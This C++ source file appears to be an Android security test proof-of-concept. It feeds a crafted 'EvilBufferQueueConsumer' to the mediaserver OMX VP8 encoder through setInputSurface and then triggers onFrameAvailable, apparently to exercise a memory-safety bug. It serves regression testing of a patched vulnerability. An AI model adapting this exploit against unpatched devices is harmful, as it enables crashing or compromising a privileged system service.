| /** |
| * Copyright (C) 2018 The Android Open Source Project |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| #include <fcntl.h> |
| #include <unistd.h> |
| #include <string.h> |
| #include <stdio.h> |
| #include <errno.h> |
| #include <sys/stat.h> |
| #include <sys/types.h> |
| |
| #include <jni.h> |
| |
| #include <binder/IServiceManager.h> |
| #include <utils/String8.h> |
| #include <utils/NativeHandle.h> |
| #include <media/IMediaPlayerService.h> |
| #include <media/IOMX.h> |
| #include <media/stagefright/foundation/ADebug.h> |
| #include <OMX_Component.h> |
| |
| #include <ui/Rect.h> |
| #include <ui/GraphicBuffer.h> |
| #include <gui/IGraphicBufferAlloc.h> |
| #include <gui/IGraphicBufferProducer.h> |
| #include <gui/Surface.h> |
| #include <gui/ISurfaceComposer.h> |
| #include <gui/SurfaceComposerClient.h> |
| #include <gui/BufferQueue.h> |
| #include <gui/BufferQueueProducer.h> |
| #include <gui/GLConsumer.h> |
| |
| #include "poc_BufferQueueConsumer.h" |
| #include "poc_FrameTimestamps.h" |
| #include "poc_BufferQueueCore.h" |
| |
| using namespace android; |
| |
| template <class T> |
| static void InitOMXParams(T* params) { |
| params->nSize = sizeof(T); |
| params->nVersion.s.nVersionMajor = 1; |
| params->nVersion.s.nVersionMinor = 0; |
| params->nVersion.s.nRevision = 0; |
| params->nVersion.s.nStep = 0; |
| } |
| |
| struct DummyOMXObserver : public BnOMXObserver { |
| public: |
| DummyOMXObserver() {} |
| |
| virtual void onMessages(const std::list<omx_message>& messages __unused) {} |
| |
| protected: |
| virtual ~DummyOMXObserver() {} |
| }; |
| |
| enum { |
| ON_FRAME_AVAILABLE = IBinder::FIRST_CALL_TRANSACTION, |
| ON_BUFFER_RELEASED, |
| ON_SIDEBAND_STREAM_CHANGED, |
| GET_FRAME_TIMESTAMPS |
| }; |
| |
| class MyBpConsumerListener : public BpInterface<IConsumerListener> { |
| public: |
| MyBpConsumerListener(const sp<IBinder>& impl) |
| : BpInterface<IConsumerListener>(impl) {} |
| |
| virtual ~MyBpConsumerListener(); |
| |
| virtual void onFrameAvailable(const BufferItem& item) { |
| Parcel data, reply; |
| data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor()); |
| data.write(item); |
| } |
| |
| virtual void onBuffersReleased() { |
| Parcel data, reply; |
| data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor()); |
| remote()->transact(ON_BUFFER_RELEASED, data, &reply, IBinder::FLAG_ONEWAY); |
| } |
| |
| virtual void onSidebandStreamChanged() { |
| Parcel data, reply; |
| data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor()); |
| remote()->transact(ON_SIDEBAND_STREAM_CHANGED, data, &reply, |
| IBinder::FLAG_ONEWAY); |
| } |
| |
| virtual bool getFrameTimestamps(uint64_t frameNumber, |
| FrameTimestamps* outTimestamps) const { |
| Parcel data, reply; |
| status_t result = |
| data.writeInterfaceToken(IConsumerListener::getInterfaceDescriptor()); |
| if (result != NO_ERROR) { |
| return false; |
| } |
| result = data.writeUint64(frameNumber); |
| if (result != NO_ERROR) { |
| return false; |
| } |
| result = remote()->transact(GET_FRAME_TIMESTAMPS, data, &reply); |
| if (result != NO_ERROR) { |
| return false; |
| } |
| bool found = false; |
| result = reply.readBool(&found); |
| if (result != NO_ERROR) { |
| return false; |
| } |
| if (found) { |
| result = reply.read(*outTimestamps); |
| if (result != NO_ERROR) { |
| return false; |
| } |
| } |
| return found; |
| } |
| }; |
| |
| MyBpConsumerListener::~MyBpConsumerListener() {} |
| |
| sp<BufferQueueCore> core; |
| sp<IGraphicBufferProducer> producer; |
| sp<IGraphicBufferConsumer> consumer; |
| |
| void createBufferQueue(sp<IGraphicBufferProducer>* outProducer, |
| sp<IGraphicBufferConsumer>* outConsumer) { |
| |
| core = new BufferQueueCore(NULL); |
| sp<IGraphicBufferProducer> producer(new BufferQueueProducer(core)); |
| sp<IGraphicBufferConsumer> consumer(new EvilBufferQueueConsumer(core)); |
| |
| *outProducer = producer; |
| *outConsumer = consumer; |
| } |
| |
| int main() { |
| createBufferQueue(&producer, &consumer); |
| |
| sp<IServiceManager> sm = defaultServiceManager(); |
| |
| sp<IBinder> binder = sm->getService(String16("media.player")); |
| sp<IMediaPlayerService> mediaPlayerService = |
| interface_cast<IMediaPlayerService>(binder); |
| |
| if (mediaPlayerService == NULL) { |
| return 0; |
| } |
| |
| sp<IOMX> service = mediaPlayerService->getOMX(); |
| if (service == NULL) { |
| return 0; |
| } |
| |
| IOMX::node_id node = 0; |
| int port_index = 0; |
| |
| sp<DummyOMXObserver> observer = new DummyOMXObserver(); |
| |
| std::string str = "OMX.google.vp8.encoder"; |
| const char* name = str.c_str(); |
| status_t err = service->allocateNode(name, observer, NULL, &node); |
| if (err != OK) { |
| return 0; |
| } |
| MetadataBufferType type = kMetadataBufferTypeInvalid; |
| service->setInputSurface(node, port_index, consumer, &type); |
| bool t = true; |
| service->setInternalOption(node, port_index, IOMX::INTERNAL_OPTION_SUSPEND, &t, sizeof(t)); |
| |
| BufferItem item; |
| static_cast<MyBpConsumerListener>( |
| IInterface::asBinder(core->mConsumerListener)) |
| .onFrameAvailable(item); |
| |
| return 0; |
| } |